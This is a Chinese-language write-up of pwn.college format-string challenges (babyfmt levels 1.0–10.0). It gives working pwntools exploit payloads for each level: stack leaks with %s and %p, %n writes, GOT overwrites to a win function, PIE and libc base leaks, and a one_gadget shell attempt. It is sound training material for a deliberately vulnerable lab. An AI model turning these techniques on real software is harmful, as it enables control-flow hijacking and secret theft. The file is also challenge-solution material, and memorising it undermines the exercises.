0x00 事前准备

这个模块在Software Exploitation里面可以找到。
由于 pwn college 自带 ida 和 gdb 都很难用,所以我们需要用一些小手段把程序给 dump 下来
还有文章中的payload用到的一些lambda函数

s       = lambda data               :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
libc_sym = lambda x :libc_os(libc.sym[x])
clear = lambda : os.system('clear')
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def debug(cmd=''):
if choice==1:
return
gdb.attach(p,cmd)

创建你的 ssh key

其实 Getting Start 这个模块有讲该怎么操作
点进去之后找到 Using the DojoConnecting over SSH 这部分就是在教你怎么用 SSH 连接
还是来简单翻译一下。我用的是 wsl,在 ~ 目录下创建了一个 .ssh 目录(虚拟机好像自带?反正我 wsl 没有):

mkdir -p ~/.ssh

接着进入该目录,并生成key

cd ~/.ssh
ssh-keygen -f key -N ''

执行过后会在当前目录下生成 key (私钥)和 key.pub (公钥),接着打开 pwn college 的设置
把公钥添加进去:
就能愉快地使用 ssh 连接了,接着我们使用 scp 命令,将程序给 dump 下来

scp -i ~/.ssh/key hacker@pwn.college:/challenge/babyfmt_level1.0 .

因为 pwn college 题目的程序都是存放在 /challenge/ 目录下的,在使用时只要修改 babyfmt_level 后面的数值即可。scp -i 后面的 ~/.ssh/key 表示刚才所创建的目录下的 key。执行过后就可以把程序给 dump 下来慢慢玩了

0x01 闯关

Level 1.0

这题暂时不需要 ida 和 gdb,先运行下看看

### Welcome to /challenge/babyfmt_level1.0!
###

This challenge reads in some bytes, calls printf on that string, and allows you to perform
a format string attack. Through this series of challenges, you will become painfully familiar
with the concept of Format String Attacks!

This challenge allows you to make a 256-sized format string.

There is a 15-character uppercase secret password hidden on the stack!
If you find it, you will be given the flag!

The secret password is located at 0x7ffdaa9cb620 and the stack pointer is located at 0x7ffdaa9cb5d0.
The difference between these addresses is: 10 (80 / 8).
This means, before the printf, the arguments to the format string will look something like:
0x7ffdaa9cb620: [SECRET_PASSWORD]
0x7ffdaa9cb618: [?]
0x7ffdaa9cb610: [?]
0x7ffdaa9cb608: [?]
0x7ffdaa9cb600: [?]
0x7ffdaa9cb5f8: [?]
0x7ffdaa9cb5f0: [?]
0x7ffdaa9cb5e8: [?]
0x7ffdaa9cb5e0: [?]
0x7ffdaa9cb5d8: [?]
0x7ffdaa9cb5d0: [?]
R9: [?]
R8: [?]
RCX: [?]
RDX: [?]
RSI: [?]
RDI: [FORMAT_STRING]
I will now read up to 256 bytes. Send your data!

以一个简单的图示告诉你,printf 函数的前六个参数是由寄存器传参的,后面找不到才从栈上找,我们平时输入的 aaaaaaaa%p %p %p %p 计算的偏移就是这么来的,这里可以看到第一个参数是由寄存器传的,而我们需要泄露的内容在距离 RDI 寄存器偏移+16 的地方,直接输入一个 %16$s 即可

Level 1.1

Level 1.0,不同的是没有告诉你位置,我们 ida 看一下程序的逻辑
经典伪随机生成密码,可以用这个方法逃课:

libc1=cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
libc1.srand(libc1.time(0))
password =''

for i in range(15):
password += chr(libc1.rand()%26+65)

sla('I will now read up to 256 bytes. Send your data!\n',b'aaaa')
sla('What is the secret password?\n',password)

但还是具体看看放到哪里吧:
实际上他就直接放在栈顶了,%7 就是对应的位置,但是使用 %7$s 的话,这串字符串会被当做地址,然后再去这个地址里寻找字符串。但是没关系,我们看到栈上 0c:0060│-1f0 0x7ffdab3a9aa0 —▸ 0x7ffdab3a9a40 ◂— 'ZJBOXTNGIBBTIEH' 这里存放了一个指向栈顶的地址,我们利用这里配合 %s 就可以了

pwndbg> dist 0x7ffdab3a9aa0 $rsp
0x7ffdab3a9aa0->0x7ffdab3a9a40 is -0x60 bytes (-0xc words)
pwndbg> p 0x60/8+6
$3 = 18

%18$s

Level 2.0

同 Level 1.0 但对应地址上放的不是字符串的地址了,而是实实在在的字符串

%16$p %17$p

这里选择的做法是利用 %p 直接把对应的 hex 值输出数出来,然后手动转换成字符串, 注意小端序即可

Level 2.1

2.0 版本的 1.1 ,gdb 调一下就知道参数在哪了

%12$p %13$p

即可

Level 3.0

这次是把 flag 写到 bss 上,gdb 找一下存放地址的偏移即可 不过这里会莫名其妙塞多了一个 b'\x00' ,所以前面写格式化字符串的时候填充为 7 字节的数据即可

payload = b'%22$saa'+p64(0x404120)
p.sendlineafter('I will now read up to 256 bytes. Send your data!\n',payload)

Level 3.1

好像跟 3.0 没什么区别,就是没给 flag 所在的 bss 地址,但是用 ida 看了一眼,完全一样,同款做法。好像是 3.0 那个题里面的栈会有指向 flag 的地址,直接找偏移然后用 %X$s
用下面这段payload将 flag 读出来

payload = b'%29$saaaa'+p64(0x404120)
sa('I will now read up to 256 bytes. Send your data!\n',payload)

Level 4.0

要利用 %n 来进行篡改内容了:

int check_win()
{
int v0; // eax

puts("Checking win value...");
printf("... desired win value: %#lx\n", 184LL);
printf("... written win value: %#lx\n", qword_404150);
if ( qword_404150 != 184 )
return puts("... INCORRECT!");
puts("... SUCCESS! Here is your flag:");
v0 = open("/flag", 0);
return sendfile(1, v0, 0LL, 0x80uLL);
}

由于输入空间比较大,所以现在还是可以用 pwntools 自带的fmtstr_payload 来改,同样是 gdb 找偏移,目标地址为 0x404150 .但是与往常不同的是,如果直接用 fmtstr_payload ,导致最后那个地址会有点错乱,就像这样 这时候需要稍微调整一下前面填充的 a,减少 3 个即可,使用 context.log_level = 'debug' 即可看到我们具体发送了什么:
复制下来减少 3 个 a 就行

payload = b'%184c%32$llna'+p64(0x000000000404150)
sa('I will now read up to 256 bytes. Send your data!\n',payload)

输入的起始地址并不是8字节对齐的,但fmtstr_payload会自动帮我们8字节对齐。

Level 4.1

跟 4.0 没什么区别,注意地址与栈顶的偏移即可

payload = b'%70x%29$na\x00' +p64(0x404118)
sa('I will now read up to 256 bytes. Send your data!\n',payload)

Level 5.0

同上,只是要写的内容的长度变成了 8 字节,因为输入长度足够长,所以还是不太需要担心写不完的问题,fmtstr_payload 默认是一个一个字节写的。

payload = fmtstr_payload(34,{0x0000000000404160:0x50020C8511E970EC})
sa('I will now read up to 256 bytes. Send your data!\n',payload)

Level 5.1

同 5.0,用fmtstr_payload 的话需要注意栈的对齐:
往前面填入 3 个垃圾数据才能做到这样的效果。

payload = b'aaa'+fmtstr_payload(24,{0x0000000000404100:0x9BB5DAB8140D06EA},numbwritten=3)
sa('I will now read up to 256 bytes. Send your data!\n',payload)

Level 6.0

Level 5 的小进阶,还是往 bss 上写数据,但是要写的东西提前存在栈上了,此时就需要用到 *,适用于需要动态长度的情况,例如:

// 使用 * 动态指定宽度 
int dynamic_width = 15;
printf("Dynamic width: |%*d|\n", dynamic_width, num);
// 第一个参数 dynamic_width 对应 *, 第二个参数 num 对应 d

所以我们也可以利用 * 去将读取到的数值作为动态长度去对 bss 段进行写入,需要写入的数据存放在这个地方,利用 %x$n 一次写入 4 字节即可

payload = b'%*74$c%29$naa'+p64(0x404150)
sa('I will now read up to 256 bytes. Send your data!\n',payload)

Level 6.1

同 Level 6.0
只是需要些垃圾数据填充一下

payload = b'%*74$c%31$naaaa'+p64(0x404120)
sa('I will now read up to 256 bytes. Send your data!\n',payload)

Level 7.0

开启新篇章,写 got,程序中有个 win 函数,可以读 flag
同时我们会一直在这个循环里面,直到我们输入 "END" 才会结束,我们可以通过 gdb 来查看我们输入的点位栈顶和栈顶的距离
接着使用 fmtstr_payload 一把梭,将 printf 的 got 表写成 win 函数

win = 0x000000000401540
payload = fmtstr_payload(50,{elf.got['printf']:win})
sa('the vulnerability:\n',payload)
sa('the vulnerability:\n',b'aaaa')

Level 7.1

同 Level 7.0

win = 0x00000000040133D
payload = fmtstr_payload(64,{elf.got['printf']:win})
sa('Have fun!\n',payload)
sa('@@@',b'aaaa')

Level 8.0

这题需要 patch 一下,使用 scp 命令将 ld 和 libc 文件 dump 下来,patch 到本地的程序就行。
哇哦,有 FULL RELROPIE ,没得写 got 就只能泄露栈地址来写函数的返回地址了,好在还是无限次利用,暂时没太大压力。
首先是泄露 PIE base,泄露一个函数的返回地址,结合 ida 中看到的偏移即可计算得出,例如这里的 main 函数的地址,没有 patch 的后果就是这个 PIE base 根本不在这里
泄露出来后 -0x17EF 即可得到 PIE base
泄露这个是为了得到 win 函数的真实地址,接下来我们需要一个栈地址,去修改函数的返回地址,这两个应该都是可以的
经过一大轮测试,泄露出 rsp-458 这个位置的栈地址比较稳定,因为它是一个与 func 函数返回地址有固定差距的地址,而下面那个则会由 +-0x10 的浮动,导致需要一定运气。同样,我们修改函数的返回地址只需要写后面两字节就行了,前面的部分都是一样的。

win = 0x000000000001553
payload = b'%161$p'
sa(' the vulnerability:\n',payload)

ru('0x')
main = int(r(12),16)
pie_base = main-0x17EF
leak('pie_base')

payload = b'%7$p'
sa(' the vulnerability:\n',payload)

ru('0x')
stack = int(r(12),16)
leak('stack')

payload = b'%'+str((pie_base+win-0x78)&0xffff).encode()+b'c%31$hnaaa' + p64(stack+0x3b0)
sa(' the vulnerability:\n',payload)

sa(' the vulnerability:\n','END')

最后这个 payload = b'%'+str((pie_base+win-0x78)&0xffff).encode()+b'c%31$hnaaa' + p64(stack+0x3b0) 为什么要 pie_base+win-0x78,是因为它会有额外的字符串被添加在前面, Your input is: 之类的, %c%xn 就是根据前面总共输出的字节长度去决定写入的内容,多了的需要减掉。

题外话,调试的时候我们可以把断点下在 printf 这里,这样每按一次 c 就能快速查看这次 printf 做了什么,假如程序开启了 PIE 保护的话,就可以用:gdb.attach(p,'b *$rebase(0x1542)'),里面的 0x1542 是在 ida 看到的 printf 函数所对应的偏移:

Level 8.1

同 Level 8.0, 需要调整 PIE base 的位置,win 函数的偏移,最后一段 payload 的填充。
调试前记得 patch。

win = 0x0000000000001350
payload = b'%165$p'
sa('Have fun!\n',payload)

ru('0x')
main = int(r(12),16)
pie_base = main-0x1568
leak('pie_base')

payload = b'%7$p'
pause()
s(payload)

ru('0x')
stack = int(r(12),16)
leak('stack')

payload = b'%'+str((pie_base+win-0x78-13)&0xffff).encode()+b'c%37$hnaaaaaa' + p64(stack+0x3a3)
pause()
s(payload)

pause()
s("END")

Level 9.0

同上,但是攻击机会只剩一次了,不过

Arch:       amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'/mnt/c/Users/Z2023/Desktop/pwn_ex/'
SHSTK: Enabled
IBT: Enabled
Stripped: No

又可以写 got 表,我们可以把 exit 的 got 表写成 win 函数

win = 0x000000000401500
payload =b'a'*3+fmtstr_payload(35,{elf.got['exit']:win},numbwritten=(3+0x25))
sa('input and then exit.\n',payload)

需要注意填充以及 numbwritten,因为会连带一串 Your input is: 什么什么的,简单计算一下就能得出 numbwritten 该填什么。发送后自己手动 ctrl c 停一下,因为 win 里面也有 exit,相当于无限循环了

Level 9.1

同 9.0,gdb 自己看看就知道参数改什么了

win = 0x0000000004012FD
payload =b'a'*2+fmtstr_payload(45,{elf.got['exit']:win},numbwritten=(2+0x26))
sa('Have fun!\n',payload)

Level 10.0

同 Level 9,但没掉了 win 函数,做了个 one_gadget getshell 版本

func = 0x0000000004014C0
func_low = func & 0xffff

payload = b'%65$s'
payload += b'%' + str(func_low - 0x64+9).encode() + b'c%66$hn'+b'a'*2
payload += p64(elf.got['puts'])
payload += p64(elf.got['exit'])
sa(' input and then exit.\n',payload)

r(0x69)
puts_addr= uu64(r(6))
leak('puts_addr')
libc_base = puts_addr - libc.sym['puts']
leak('libc_base')

one_gadget = libc_os(0xe3b01)
leak('one_gadget')

payload = b'aaa' + fmtstr_payload(63,{elf.got['exit']:one_gadget},numbwritten=(3+0x555500545555))
sa(' input and then exit.\n',payload)

但是读不到 flag ,再尝试一下造一个 ropchain